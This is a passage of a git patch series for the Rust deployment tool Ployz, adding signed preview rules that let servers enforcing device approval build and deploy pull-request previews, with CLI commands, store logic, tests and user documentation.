+        "  servers     {} in the cluster",
+        rule.machines.len()
+    ));
+    for name in names {
+        let Some(approved) = rule.service(name) else {
+            continue;
+        };
+        crate::ui::stream(format_args!("  {name}"));
+        if !approved.inherit.is_empty() {
+            crate::ui::stream(format_args!(
+                "    reads     {} from {}",
+                approved
+                    .inherit
+                    .iter()
+                    .cloned()
+                    .collect::<Vec<_>>()
+                    .join(", "),
+                view.environment.name
+            ));
+        }
+        if let Some(shared) = view.shared.get(name) {
+            crate::ui::stream(format_args!(
+                "    shares    {} with {}",
+                shared.iter().cloned().collect::<Vec<_>>().join(", "),
+                view.environment.name
+            ));
+        }
+        if approved.setup.is_some() {
+            crate::ui::stream("    setup     runs once, on each preview's first deploy");
+        }
+        if let Some(spec) = view.target.iter().find(|spec| spec.name == *name) {
+            // A Generated Value shows by name: the rehearsal's value is no preview's.
+            let mut shown = spec.clone();
+            shown
+                .container
+                .environment
+                .retain(|key, _| !approved.generated.contains_key(key));
+            for line in settings(&shown) {
+                crate::ui::stream(format_args!("    {line}"));
+            }
+        }
+        if !approved.generated.is_empty() {
+            crate::ui::stream(format_args!(
+                "    generated {}, new in each preview",
+                approved
+                    .generated
+                    .keys()
+                    .cloned()
+                    .collect::<Vec<_>>()
+                    .join(", ")
+            ));
+        }
+    }
+}
diff --git a/core/crates/ployz/src/handlers/github_rule.rs b/core/crates/ployz/src/handlers/github_rule.rs
index b67a848aae..104c763ff7 100644
--- a/core/crates/ployz/src/handlers/github_rule.rs
+++ b/core/crates/ployz/src/handlers/github_rule.rs
@@ -26,7 +26,7 @@ use super::{Error, deploy::approve, leaf_matches};
 use crate::cli::value;
 
 /// The caller workflow every rule builds with, as `ployz github` sets it up.
-const WORKFLOW: &str = ".github/workflows/ployz-build.yml";
+pub(super) const WORKFLOW: &str = ".github/workflows/ployz-build.yml";
 
 pub(super) fn group(command: Command) -> Command {
     command.about("Deploy every push of a branch on servers that enforce device approval")
@@ -205,7 +205,7 @@ pub(super) fn end(root: &ArgMatches) -> Result<(), Error> {
 }
 
 /// This CLI's Device signer. Only a Device signs a rule: it stands for every future push.
-fn signer(root: &ArgMatches) -> Result<Signer, Error> {
+pub(super) fn signer(root: &ArgMatches) -> Result<Signer, Error> {
     let key = super::device::key::path(&super::config_path(root)?);
     match super::device::key::load(&key) {
         Ok(Some(secret)) => Ok(Signer::from_seed(&secret)),
@@ -217,7 +217,7 @@ fn signer(root: &ArgMatches) -> Result<Signer, Error> {
     }
 }
 
-fn builder(matches: &ArgMatches) -> Result<Builder, Error> {
+pub(super) fn builder(matches: &ArgMatches) -> Result<Builder, Error> {
     match (
         matches.get_one::<String>("builder"),
         matches.get_one::<String>("builder-sha"),
@@ -235,7 +235,7 @@ fn builder(matches: &ArgMatches) -> Result<Builder, Error> {
 }
 
 /// The Cluster's key and Servers, from the Servers themselves: Cloud can't name them.
-fn enforcing(root: &ArgMatches) -> Result<approve::Enforcing, Error> {
+pub(super) fn enforcing(root: &ArgMatches) -> Result<approve::Enforcing, Error> {
     match approve::probe(root) {
         approve::Probe::Enforcing(enforcing) => Ok(enforcing),
         approve::Probe::Off => Err(Error::coded(
@@ -302,7 +302,7 @@ struct Repository {
 }
 
 /// The repository owner's GitHub ID, which each GitHub token the rule takes must name.
-fn owner(root: &ArgMatches, repository: &str, repository_id: u64) -> Result<u64, Error> {
+pub(super) fn owner(root: &ArgMatches, repository: &str, repository_id: u64) -> Result<u64, Error> {
     let found: Repository =
         super::github::read_repository(root, "branches", &json!({ "repository": repository }))?;
     if found.repository_id != repository_id {
@@ -444,7 +444,7 @@ fn show(view: &RuleView, rule: &AutoDeployRule, names: &[ServiceName]) {
 
 /// The settings a person reads before approving: each variable, Sealed ones by name only,
 /// and what reaches the host.
-fn settings(spec: &RequestedServiceSpec) -> Vec<String> {
+pub(super) fn settings(spec: &RequestedServiceSpec) -> Vec<String> {
     let container = &spec.container;
     let mut lines = Vec::new();
     let variables: Vec<String> = container
@@ -476,7 +476,7 @@ fn settings(spec: &RequestedServiceSpec) -> Vec<String> {
     lines
 }
 
-fn joined(names: &[ServiceName]) -> String {
+pub(super) fn joined(names: &[ServiceName]) -> String {
     names
         .iter()
         .map(ServiceName::as_str)
diff --git a/core/crates/ployz/src/handlers/mod.rs b/core/crates/ployz/src/handlers/mod.rs
index 4362583d9e..a2b91bd6d9 100644
--- a/core/crates/ployz/src/handlers/mod.rs
+++ b/core/crates/ployz/src/handlers/mod.rs
@@ -26,6 +26,7 @@ pub(crate) mod docs;
 pub(crate) mod domain;
 pub(crate) mod env;
 pub(crate) mod github;
+mod github_preview;
 mod github_rule;
 pub(crate) mod ingress;
 pub(crate) mod link;
diff --git a/core/crates/ployz/src/handlers/verbs.rs b/core/crates/ployz/src/handlers/verbs.rs
index 9adfc15381..6a3baff94a 100644
--- a/core/crates/ployz/src/handlers/verbs.rs
+++ b/core/crates/ployz/src/handlers/verbs.rs
@@ -10,8 +10,8 @@ use serde::Serialize;
 use super::debug;
 use super::{
     Handler, account, build, catalog, cloud, cluster, completion, config, config_item, context,
-    deploy, device, docs, domain, env, github, github_rule, ingress, link, login, mcp, metrics,
-    operator, private_access, project, recovery, review, server, service, up, volume,
+    deploy, device, docs, domain, env, github, github_preview, github_rule, ingress, link, login,
+    mcp, metrics, operator, private_access, project, recovery, review, server, service, up, volume,
 };
 use Approval::{Always, Depends, Never};
 
@@ -433,6 +433,20 @@ pub(crate) const GITHUB_DISCONNECT: Verb = Verb::cloud(
 .docs("deploy/github.md");
 pub(crate) const GITHUB_LS: Verb =
     Verb::cloud("github ls", Never, github::list_command, github::list).docs("deploy/github.md");
+pub(crate) const GITHUB_PREVIEW_APPROVE: Verb = Verb::cloud(
+    "github preview approve",
+    Never,
+    github_preview::approve_command,
+    github_preview::approve,
+)
+.docs("environments/preview-environments.md");
+pub(crate) const GITHUB_PREVIEW_END: Verb = Verb::cloud(
+    "github preview end",
+    Never,
+    github_preview::end_command,
+    github_preview::end,
+)
+.docs("environments/preview-environments.md");
 pub(crate) const GITHUB_RULE_APPROVE: Verb = Verb::cloud(
     "github rule approve",
     Never,
@@ -937,6 +951,8 @@ pub(crate) const VERBS: &[Verb] = &[
     GITHUB_CONNECT,
     GITHUB_DISCONNECT,
     GITHUB_LS,
+    GITHUB_PREVIEW_APPROVE,
+    GITHUB_PREVIEW_END,
     GITHUB_RULE_APPROVE,
     GITHUB_RULE_END,
     GITHUB_TREE,
@@ -1055,6 +1071,10 @@ const GROUPS: &[Group] = &[
         path: "github",
         command: github::group,
     },
+    Group {
+        path: "github preview",
+        command: github_preview::group,
+    },
     Group {
         path: "github rule",
         command: github_rule::group,
diff --git a/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs b/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
index 4b378bef1c..764b92c772 100644
--- a/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
+++ b/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
@@ -391,7 +391,7 @@ pub(crate) fn refusal_text(refusal: &AuthorityRefusal) -> String {
         }
         AuthorityRefusal::Mismatch {
             field: "a Namespace",
-        } => "This isn't the environment the preview rule makes for this branch.",
+        } => "This isn't the namespace the preview rule gives this branch.",
         AuthorityRefusal::Mismatch { field: "a Cluster" } => {
             "The preview rule is for another cluster."
         }
@@ -413,10 +413,10 @@ pub(crate) fn refusal_text(refusal: &AuthorityRefusal) -> String {
         AuthorityRefusal::Mismatch {
             field: "an account",
         } => {
-            "The preview rule doesn't trust the account that pushed this branch. Ask for a review."
+            "The preview rule doesn't trust the account that pushed. Approve it again with --trust and their GitHub ID."
         }
         AuthorityRefusal::Mismatch { field: "a branch" } => {
-            "Pushes to the parent environment's branch deploy there, not to a preview."
+            "A push to the branch previews start from isn't a preview."
         }
         AuthorityRefusal::Mismatch { field: "a review" } => {
             "This build was made under another review. Review the preview again."
diff --git a/docs/user/environments/preview-environments.md b/docs/user/environments/preview-environments.md
index c30e58bbc4..090e0d8a26 100644
--- a/docs/user/environments/preview-environments.md
+++ b/docs/user/environments/preview-environments.md
@@ -72,6 +72,70 @@ environments** is on. A bot's pull request from a fork still needs approval.
 `ployz env pr` lists each open pull request with where it stands, like `#142 needs approval
 a1b2c3d` or `#140 deploys`.
 
+## Previews on servers that enforce device approval
+
+Servers with [device enforcement](../servers/manage-servers.md#require-a-devices-signature-for-restarts-and-joins)
+on open a preview only under a preview rule you approve from an approved device. It works like
+[deploy on push](../deploy/github.md#deploy-on-push-to-servers-that-enforce-device-approval):
+approve it once from the environment previews start from, for the services that build from your
+repository:
+
+```bash
+ployz github preview approve web --env production
+```
+
+It prints what every preview will run, then signs it with your device key:
+
+```text
+Approving previews of production:
+  repository  acme/web
+  builder     getployz/build/.github/workflows/build.yml@5f35eaa8e1372d0d86ff82788adadf308e5f3f97
+  urls        <service>-pv-<id>.acme-x7q2.ployz.app
+  trusted     1109914, 2207431
+  servers     2 in the cluster
+  web
+    reads     DATABASE_URL from production
+    setup     runs once, on each preview's first deploy
+    variables LOG_LEVEL=info, DATABASE_URL (sealed)
+    generated SESSION_SECRET, new in each preview
+Approved. Pull requests to acme/web by the accounts shown now open a preview of web.
+```
+
+From then on a push to a pull request's branch, by an account the rule trusts, deploys its
+preview with no prompt. Each server checks the rule, GitHub's tokens, the branch's head and the
+settings itself, so Ployz Cloud can't put a preview's code into production or hand it a
+production secret the rule doesn't name.
+
+- **Trusted accounts** are your organization's members' GitHub accounts when you approve. To name
+  them yourself, give each account's numeric GitHub ID: `--trust 1109914 --trust 2207431`.
+  Approve again when someone joins or leaves.
+- **Each preview gets its own namespace and address**, which every server works out from the rule
+  and the branch, like `pv-5a5a5a5a5a5a5a5a-3f9c2e1b7d40`. A preview's generated address is
+  `web-pv-5a5a5a5a5a5a5a5a-3f9c2e1b7d40.acme-x7q2.ployz.app`, not `web-pr-142…`. Pull requests
+  already open keep their old address: close and reopen them once the rule exists.
+- **Secrets stay closed unless the rule names them.** A preview reads a sealed value from
+  production, like `DATABASE_URL` above, only if production's value is set and the service's
+  preview copy leaves it **Not set**. A value you set in the preview is the preview's own, and the
+  server refuses it. Every other secret stays out.
+- **Volumes a preview doesn't copy are refused.** If a preview would mount production's volume,
+  approve says so and stops. Copy the volume in the PR plan, or add `--share-mounts` to let every
+  preview read and write it.
+- **A saved change waits for you.** After you change the settings of a service the rule covers,
+  previews stop deploying it until you approve again. So does adding a server.
+- **Stop it** with `ployz github preview end --env production`. The servers refuse every preview
+  build and deploy under the rule from then on.
+
+GitHub builds each preview on the run its push started, so your build workflow must run on pushes
+to every branch, not only `main`:
+
+```yaml
+on:
+  push:
+```
+
+Pull requests from forks, and from accounts the rule doesn't trust, don't open a preview on these
+servers yet.
+
 ## What each pull request gets
 
 When a pull request opens, Ployz deploys its preview, named like `pr-142`:
diff --git a/docs/user/services/variables.md b/docs/user/services/variables.md
index 3bd22949a7..0a3bf7474a 100644
--- a/docs/user/services/variables.md
+++ b/docs/user/services/variables.md
@@ -91,6 +91,10 @@ service still gets the real value when it deploys.
   with a [passkey](../servers/manage-servers.md#add-a-passkey) in the dashboard opens only the
   sealed values of the environment you approved it in: each server refuses to create a service
   that carries another environment's sealed values, and names it.
+- On those servers, a [preview](../environments/preview-environments.md#previews-on-servers-that-enforce-device-approval)
+  opens only the sealed values its preview rule names from the environment it starts from, and
+  only those its copy leaves **Not set**. The server refuses any other environment's value,
+  and a value set in the preview itself.
 - Your sealed values open only on your servers. Keep your organization's
   [recovery code](../servers/recovery-code.md): if you lose every server, it's the only way to
   open them again.

From 569889558dc87e50df9f54d0618f4ca313b4e36b Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 16:03:59 +0000
Subject: [PATCH 6/8] Build and deploy a preview under its rule

A preview's GitHub build follows its push's run and checks in and asks its
grant under the preview rule the Store finds for the PR Environment's
Deployment. The runner hands each Server a PreviewProof with every
EnsureContainer. A preview build's Actions cache scope names the rule, so
no preview build writes layers a production build reads.
---
 core/crates/ployz-sdk/src/config_store.rs     |  7 +-
 core/crates/ployz-store/src/build.rs          | 50 ++++++++--
 .../ployz-store/src/deployment/lifecycle.rs   | 14 +--
 core/crates/ployz-store/src/deployment/mod.rs |  5 +-
 core/crates/ployz-store/src/lib.rs            | 14 +--
 core/crates/ployz-store/src/preview_rule.rs   | 29 ++++++
 core/crates/ployz-store/tests/preview_rule.rs | 44 +++++++--
 core/crates/ployz/src/cluster.rs              | 93 +++++++++---------
 core/crates/ployz/src/handlers/build.rs       |  7 +-
 core/crates/ployz/src/handlers/build/rule.rs  | 89 +++++++++++++----
 .../ployz/src/handlers/build/rule_tests.rs    | 85 +++++++++++++---
 core/crates/ployz/src/sdk/deploy.rs           | 10 +-
 core/crates/ployz/src/sdk/github_build.rs     | 96 +++++++++++++------
 core/crates/ployz/src/sdk/store_runner.rs     | 84 ++++++++++------
 .../plans/security-0.4/d-build-proof.md       |  8 +-
 docs/agents/plans/security-0.4/d-plan.md      | 21 ++--
 16 files changed, 464 insertions(+), 192 deletions(-)

diff --git a/core/crates/ployz-sdk/src/config_store.rs b/core/crates/ployz-sdk/src/config_store.rs
index 51d0a456c3..43a2902917 100644
--- a/core/crates/ployz-sdk/src/config_store.rs
+++ b/core/crates/ployz-sdk/src/config_store.rs
@@ -638,15 +638,16 @@ impl ConfigStore {
     }
 
     /// A rule build's runner checks in on its push's run, with the OIDC `claims` Cloud
-    /// verified and the `commit` it checked out: the rule, the Cluster's keys and the
-    /// one-Service deployment, Sealed values sealed. Changes nothing.
+    /// verified and the `commit` it checked out: the rule (`rule` for an automatic deploy
+    /// rule, `preview` for a preview rule), the Cluster's keys and the one-Service
+    /// deployment, Sealed values sealed. Changes nothing.
     ///
     /// # Errors
     /// Returns `not_found` while no build holds the run, `unauthenticated` for another
     /// repository, workflow or run, and `conflict` for another commit, a build that
     /// checked in, or one under no rule.
     #[napi(
-        ts_return_type = "Promise<{ build: string; rule: unknown; cluster: string; attest: string; service: string; deployment: unknown; foreign: string[] }>"
+        ts_return_type = "Promise<{ build: string; rule?: unknown; preview?: unknown; cluster: string; attest: string; service: string; deployment: unknown; foreign: string[] }>"
     )]
     pub async fn github_rule_check_in(
         &self,
diff --git a/core/crates/ployz-store/src/build.rs b/core/crates/ployz-store/src/build.rs
index 5ba5033baa..38183e5160 100644
--- a/core/crates/ployz-store/src/build.rs
+++ b/core/crates/ployz-store/src/build.rs
@@ -1095,24 +1095,54 @@ pub(crate) fn github_authorize(
     Ok(build)
 }
 
-/// The automatic deploy rule GitHub build `id` builds under: its Environment's, ended
-/// or not, when the Store's automation admitted the Deployment for a push and the rule
-/// covers the Service. Its run is then the push's own, which Cloud follows.
+/// The rule a GitHub build builds under, on the run its push started. Cloud relays it;
+/// the builder and the grant Machine check it.
+#[derive(Clone, Debug, PartialEq)]
+pub enum GithubRule {
+    /// A push to the approved branch, under its Environment's automatic deploy rule.
+    Auto(ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>),
+    /// A push to a preview's branch, under the preview rule of the Environment it
+    /// starts from.
+    Preview(ployz_core::authority::Signed<ployz_core::authority::PreviewRule>),
+}
+
+impl GithubRule {
+    /// The repository, workflow and builder the rule names, once its signature checks.
+    #[must_use]
+    pub fn source(&self) -> Option<ployz_core::authority::RuleSource> {
+        match self {
+            Self::Auto(signed) => signed.open().ok().map(|rule| rule.source),
+            Self::Preview(signed) => signed.open().ok().map(|rule| rule.source),
+        }
+    }
+}
+
+/// The rule GitHub build `id` builds under, ended or not, when the Store's automation
+/// admitted the Deployment for a push and the rule covers the Service: its
+/// Environment's automatic deploy rule, or, for a preview, the preview rule its
+/// Namespace derives from. Its run is then the push's own, which Cloud follows.
 pub(crate) fn github_rule(
     tx: &mut dyn Tx,
     id: &GithubBuildId,
-) -> Result<Option<ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>>, RpcError>
-{
+) -> Result<Option<GithubRule>, RpcError> {
     let stored = deployment::load(tx, &id.deployment)?;
     if stored.summary.admitted_by.is_some() {
         return Ok(None);
     }
-    let rule = crate::auto_rule::stored(tx, &stored.summary.environment_id)?;
-    Ok(rule.filter(|signed| {
-        signed
+    if let Some(preview) = crate::preview_rule::of_deployment(tx, &stored)? {
+        let covers = preview
             .open()
-            .is_ok_and(|rule| rule.service(&id.service).is_some())
-    }))
+            .is_ok_and(|rule| rule.service(&id.service).is_some());
+        return Ok(covers.then_some(GithubRule::Preview(preview)));
+    }
+    let rule = crate::auto_rule::stored(tx, &stored.summary.environment_id)?;
+    Ok(rule
+        .filter(|signed| {
+            signed
+                .open()
+                .is_ok_and(|rule| rule.service(&id.service).is_some())
+        })
+        .map(GithubRule::Auto))
 }
 
 /// The GitHub build run `run_id` holds while it builds, if any: a rule build's runner
diff --git a/core/crates/ployz-store/src/deployment/lifecycle.rs b/core/crates/ployz-store/src/deployment/lifecycle.rs
index 1fb5f16006..94a2bd7fd6 100644
--- a/core/crates/ployz-store/src/deployment/lifecycle.rs
+++ b/core/crates/ployz-store/src/deployment/lifecycle.rs
@@ -1418,13 +1418,14 @@ pub(crate) fn claim(
     let sealed_names = crate::review::sealed::names(tx, stored.summary.environment_id.as_str())?;
     let ended_runs = ended_runs(tx, &stored.summary)?;
     let approval = device_approval(tx, id)?;
-    let rule = match stored.summary.admitted_by {
-        Some(_) => None,
-        None => crate::auto_rule::stored(tx, &stored.summary.environment_id)?,
+    let preview = crate::preview_rule::of_deployment(tx, &stored)?;
+    let rule = match (&stored.summary.admitted_by, &preview) {
+        (None, None) => crate::auto_rule::stored(tx, &stored.summary.environment_id)?,
+        (Some(_), _) | (None, Some(_)) => None,
     };
-    let image_tokens = match rule {
-        Some(_) => build::image_tokens(tx, id)?,
-        None => BTreeMap::new(),
+    let image_tokens = match (&rule, &preview) {
+        (None, None) => BTreeMap::new(),
+        (Some(_), _) | (None, Some(_)) => build::image_tokens(tx, id)?,
     };
     Ok(Ok(Claimed {
         deployment: stored.summary,
@@ -1439,6 +1440,7 @@ pub(crate) fn claim(
         ended_runs,
         approval,
         rule,
+        preview,
         image_tokens,
     }))
 }
diff --git a/core/crates/ployz-store/src/deployment/mod.rs b/core/crates/ployz-store/src/deployment/mod.rs
index b7374ff6fd..d73955e9ea 100644
--- a/core/crates/ployz-store/src/deployment/mod.rs
+++ b/core/crates/ployz-store/src/deployment/mod.rs
@@ -604,7 +604,10 @@ pub struct Claimed {
     /// The automatic deploy rule a push's Deployment runs under, which the runner hands
     /// each Server with each Service's image token; none for any other Deployment.
     pub rule: Option<ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>>,
-    /// The image token each Service's GitHub build under `rule` reported.
+    /// The preview rule a trusted push's preview Deployment runs under, which the runner
+    /// hands each Server like `rule`; none for any other Deployment.
+    pub preview: Option<ployz_core::authority::Signed<ployz_core::authority::PreviewRule>>,
+    /// The image token each Service's GitHub build under `rule` or `preview` reported.
     pub image_tokens: BTreeMap<ServiceName, String>,
 }
 
diff --git a/core/crates/ployz-store/src/lib.rs b/core/crates/ployz-store/src/lib.rs
index b0c195c992..126a301f00 100644
--- a/core/crates/ployz-store/src/lib.rs
+++ b/core/crates/ployz-store/src/lib.rs
@@ -69,7 +69,7 @@ pub use branch::{
 pub use build::{
     BuildLogQuery, BuildLogView, BuildReport, BuildStatus, BuildView, GitSource, GithubBuild,
     GithubBuildId, GithubClaims, GithubEnd, GithubGrant, GithubHandOff, GithubInput, GithubReport,
-    GithubRun, RunEnd,
+    GithubRule, GithubRun, RunEnd,
 };
 pub use builders::{BuildOrder, BuildOrderQuery, BuildOrderView, Builder, SetBuildOrder};
 pub use client_sealed::SecretValue;
@@ -542,18 +542,12 @@ impl ConfigStore {
             .read(|tx| build::github_authorize(tx, id, claims))
     }
 
-    /// The automatic deploy rule GitHub build `id` builds under, if any: its run is the
-    /// push's own, which Cloud follows rather than dispatching one.
+    /// The rule GitHub build `id` builds under, automatic deploy or preview, if any: its
+    /// run is the push's own, which Cloud follows rather than dispatching one.
     ///
     /// # Errors
     /// Returns `not_found` for an unknown Deployment, or a storage error.
-    pub fn github_rule(
-        &self,
-        id: &GithubBuildId,
-    ) -> Result<
-        Option<ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>>,
-        RpcError,
-    > {
+    pub fn github_rule(&self, id: &GithubBuildId) -> Result<Option<GithubRule>, RpcError> {
         self.storage.read(|tx| build::github_rule(tx, id))
     }
 
diff --git a/core/crates/ployz-store/src/preview_rule.rs b/core/crates/ployz-store/src/preview_rule.rs
index 5a4074ac07..dd76eeda64 100644
--- a/core/crates/ployz-store/src/preview_rule.rs
+++ b/core/crates/ployz-store/src/preview_rule.rs
@@ -326,3 +326,32 @@ fn shared_mounts(target: &[RequestedServiceSpec]) -> BTreeMap<ServiceName, BTree
         })
         .collect()
 }
+
+/// The preview rule Deployment `deployment` builds and deploys under: the one its
+/// Environment's parent keeps, ended or not, when the Store's automation admitted it
+/// into a Namespace that rule derives. None for any other Deployment.
+pub(crate) fn of_deployment(
+    tx: &mut dyn Tx,
+    deployment: &crate::deployment::Stored,
+) -> Result<Option<Signed<PreviewRule>>, RpcError> {
+    let namespace = deployment.namespace();
+    if deployment.summary.admitted_by.is_some()
+        || !ployz_core::authority::preview::is_preview_namespace(namespace)
+    {
+        return Ok(None);
+    }
+    let Some(branch) = crate::branch::row(tx, &deployment.summary.environment_id)? else {
+        return Ok(None);
+    };
+    let Some(signed) = stored(tx, &branch.parent)? else {
+        return Ok(None);
+    };
+    let derives = signed.open().is_ok_and(|rule| {
+        let id = rule.rule.to_string();
+        namespace
+            .as_str()
+            .strip_prefix("pv-")
+            .is_some_and(|rest| id.get(..16).is_some_and(|id| rest.starts_with(id)))
+    });
+    Ok(derives.then_some(signed))
+}
diff --git a/core/crates/ployz-store/tests/preview_rule.rs b/core/crates/ployz-store/tests/preview_rule.rs
index 41ca2cd1ef..f0e5c2150d 100644
--- a/core/crates/ployz-store/tests/preview_rule.rs
+++ b/core/crates/ployz-store/tests/preview_rule.rs
@@ -16,9 +16,9 @@ use ployz_core::config::ServiceGitAccess;
 use ployz_store::{
     Actor, ApprovePreviewRule, AuthorizedRepository, Change, ClusterDomain, ClusterDomainStatus,
     ConfigStore, CreateGitService, CreateProject, CreateVolume, DomainEvidence, Edit,
-    EnvironmentId, EnvironmentName, EnvironmentRef, Mount, OrganizationId, PlanPreviewRule,
-    PreviewRuleView, ProjectId, ProjectName, PullRequest, RuleQuery, ServiceLineageId, SetPrPlan,
-    SettingPath, SystemEvent, Trusted, VolumeId, VolumeName, Written,
+    EnvironmentId, EnvironmentName, EnvironmentRef, GithubRule, Mount, OrganizationId,
+    PlanPreviewRule, PreviewRuleView, ProjectId, ProjectName, PullRequest, RuleQuery,
+    ServiceLineageId, SetPrPlan, SettingPath, SystemEvent, Trusted, VolumeId, VolumeName, Written,
 };
 use serde_json::{Value, json};
 
@@ -335,7 +335,13 @@ fn rule_over(view: &PreviewRuleView, signer: &Signer) -> PreviewRule {
     }
 }
 
-fn open_pull_request(store: &ConfigStore, who: &Actor, number: u64, branch: &str) {
+/// Open pull request `number` from `branch`, and return the Deployment it admitted.
+fn open_pull_request(
+    store: &ConfigStore,
+    who: &Actor,
+    number: u64,
+    branch: &str,
+) -> ployz_store::DeploymentId {
     let written = store
         .system(
             &who.organization,
@@ -359,10 +365,16 @@ fn open_pull_request(store: &ConfigStore, who: &Actor, number: u64, branch: &str
             &trusted(),
         )
         .unwrap();
-    assert!(
-        matches!(&written, Written::Automated(automated) if !automated.admitted.is_empty()),
-        "{written:?}"
-    );
+    let Written::Automated(automated) = &written else {
+        panic!("{written:?}");
+    };
+    automated
+        .admitted
+        .first()
+        .unwrap_or_else(|| panic!("{written:?}"))
+        .deployment
+        .id
+        .clone()
 }
 
 /// Each rule Service's template in Environment `environment`, a preview of `branch`.
@@ -435,8 +447,22 @@ fn two_previews_of_one_rule_differ_only_in_derived_fields() {
             &trusted(),
         )
         .unwrap();
-    open_pull_request(&store, &who, 5, "search");
+    let opened = open_pull_request(&store, &who, 5, "search");
     open_pull_request(&store, &who, 6, "billing");
+    // The preview's GitHub build runs under the rule, on the run its push started.
+    let build = |deployment: &ployz_store::DeploymentId| {
+        store
+            .github_rule(&ployz_store::GithubBuildId {
+                deployment: deployment.clone(),
+                service: ServiceName::parse("web").unwrap(),
+            })
+            .unwrap()
+    };
+    assert!(
+        matches!(build(&opened), Some(GithubRule::Preview(signed)) if signed.open().unwrap() == rule),
+        "{:?}",
+        build(&opened)
+    );
     let five = templates(&store, &who, &rule, "pr-5", "search");
     let six = templates(&store, &who, &rule, "pr-6", "billing");
     assert_eq!(five, six, "two previews of one rule share every template");
diff --git a/core/crates/ployz/src/cluster.rs b/core/crates/ployz/src/cluster.rs
index ce0e6aa2db..b02925a57b 100644
--- a/core/crates/ployz/src/cluster.rs
+++ b/core/crates/ployz/src/cluster.rs
@@ -90,39 +90,50 @@ struct Approvals {
     restart: Option<ployz_core::authority::Signed<ployz_core::authority::RestartApproval>>,
     /// The approval of the Deploy every Container this client creates or steps belongs to.
     deploy: Option<ployz_core::authority::Signed<ployz_core::authority::DeployApproval>>,
-    /// An automatic deploy rule's proof for each Service it built, when a rule deploys in
-    /// place of a person's approval.
-    rules: std::collections::BTreeMap<ployz_core::ServiceName, ployz_core::authority::RuleProof>,
+    /// A rule's proof for each Service it built, when a rule deploys in place of a
+    /// person's approval.
+    proofs: RuleProofs,
 }
 
-impl Approvals {
-    /// The rule proof a change of `want` carries: its Service's, or for a step on a
-    /// Container named only by ID, any of the Deploy's, since such a step needs only the
-    /// rule's Environment.
-    fn rule_for(&self, want: &ContainerWant) -> Option<Box<ployz_core::authority::RuleProof>> {
-        let service = match want {
-            ContainerWant::Running {
-                container: ployz_core::RunTarget::New(new),
-                ..
-            } => Some(&new.slot.service),
-            ContainerWant::Held { container, .. }
-            | ContainerWant::Out { container, .. }
-            | ContainerWant::Stopped { container, .. }
-            | ContainerWant::Gone { container, .. }
-            | ContainerWant::Running {
-                container: ployz_core::RunTarget::Existing(container),
-                ..
-            } => match container {
-                ployz_core::ContainerLocator::Key(slot) => Some(&slot.service),
-                ployz_core::ContainerLocator::Id(_) => None,
-            },
-        };
-        service
-            .and_then(|service| self.rules.get(service))
-            .or_else(|| self.rules.values().next())
-            .cloned()
-            .map(Box::new)
-    }
+/// The proof each Service a rule built carries to every Server, in place of a person's
+/// deploy approval: an automatic deploy rule's, or a preview rule's.
+#[derive(Clone, Debug, Default)]
+pub struct RuleProofs {
+    pub rules:
+        std::collections::BTreeMap<ployz_core::ServiceName, ployz_core::authority::RuleProof>,
+    pub previews:
+        std::collections::BTreeMap<ployz_core::ServiceName, ployz_core::authority::PreviewProof>,
+}
+
+/// The proof in `proofs` a change of `want` carries: its Service's, or for a step on a
+/// Container named only by ID, any of the Deploy's, since such a step needs only the
+/// rule's Environment.
+fn proof_for<P: Clone>(
+    proofs: &std::collections::BTreeMap<ployz_core::ServiceName, P>,
+    want: &ContainerWant,
+) -> Option<Box<P>> {
+    let service = match want {
+        ContainerWant::Running {
+            container: ployz_core::RunTarget::New(new),
+            ..
+        } => Some(&new.slot.service),
+        ContainerWant::Held { container, .. }
+        | ContainerWant::Out { container, .. }
+        | ContainerWant::Stopped { container, .. }
+        | ContainerWant::Gone { container, .. }
+        | ContainerWant::Running {
+            container: ployz_core::RunTarget::Existing(container),
+            ..
+        } => match container {
+            ployz_core::ContainerLocator::Key(slot) => Some(&slot.service),
+            ployz_core::ContainerLocator::Id(_) => None,
+        },
+    };
+    service
+        .and_then(|service| proofs.get(service))
+        .or_else(|| proofs.values().next())
+        .cloned()
+        .map(Box::new)
 }
 
 /// The entry a redial found in another Cluster, shared by every clone of a client and
@@ -258,17 +269,11 @@ impl Client {
         self
     }
 
-    /// Hand every Server the automatic deploy rule's proof for the Service each change
-    /// belongs to, in place of a person's deploy approval.
+    /// Hand every Server the rule's proof for the Service each change belongs to, in
+    /// place of a person's deploy approval.
     #[must_use]
-    pub(crate) fn with_rule_proofs(
-        mut self,
-        proofs: std::collections::BTreeMap<
-            ployz_core::ServiceName,
-            ployz_core::authority::RuleProof,
-        >,
-    ) -> Self {
-        Arc::make_mut(&mut self.approvals).rules = proofs;
+    pub(crate) fn with_rule_proofs(mut self, proofs: RuleProofs) -> Self {
+        Arc::make_mut(&mut self.approvals).proofs = proofs;
         self
     }
 
@@ -1692,10 +1697,10 @@ impl Client {
     ) -> Result<ployz_core::EnsuredContainer, RpcError> {
         let target = MachineTarget::from(machine_id);
         crate::sealed_compat::admit(self, &target, &want).await?;
-        let want_for_rule = &want;
-        let rule = self.approvals.rule_for(want_for_rule);
+        let rule = proof_for(&self.approvals.proofs.rules, &want);
+        let preview = proof_for(&self.approvals.proofs.previews, &want);
         let payload = op::EnsureContainer::into_request(EnsureContainerRequest {
-            preview: None,
+            preview,
             want,
             approval: self.approvals.restart.clone(),
             deploy: self.approvals.deploy.clone(),
diff --git a/core/crates/ployz/src/handlers/build.rs b/core/crates/ployz/src/handlers/build.rs
index c87ee3fee2..cba41c8d1d 100644
--- a/core/crates/ployz/src/handlers/build.rs
+++ b/core/crates/ployz/src/handlers/build.rs
@@ -221,11 +221,8 @@ fn built_under_rule(
     runtime: &tokio::runtime::Runtime,
     cancellation: &CancellationToken,
 ) -> Result<(Pushed, ployz_core::GithubToken), Error> {
-    let relayed = checked_in
-        .rule
-        .open()
-        .map_err(|_| BuildCommandError::Rule("Cloud relayed no readable rule"))?;
     let service = checked_in.service.clone();
+    let relayed = checked_in.rule.open(&service)?;
     // Frozen once: the policy is checked against exactly what is captured and built.
     let prepared = prepare(PreparationInput {
         deployment: checked_in.deployment.clone(),
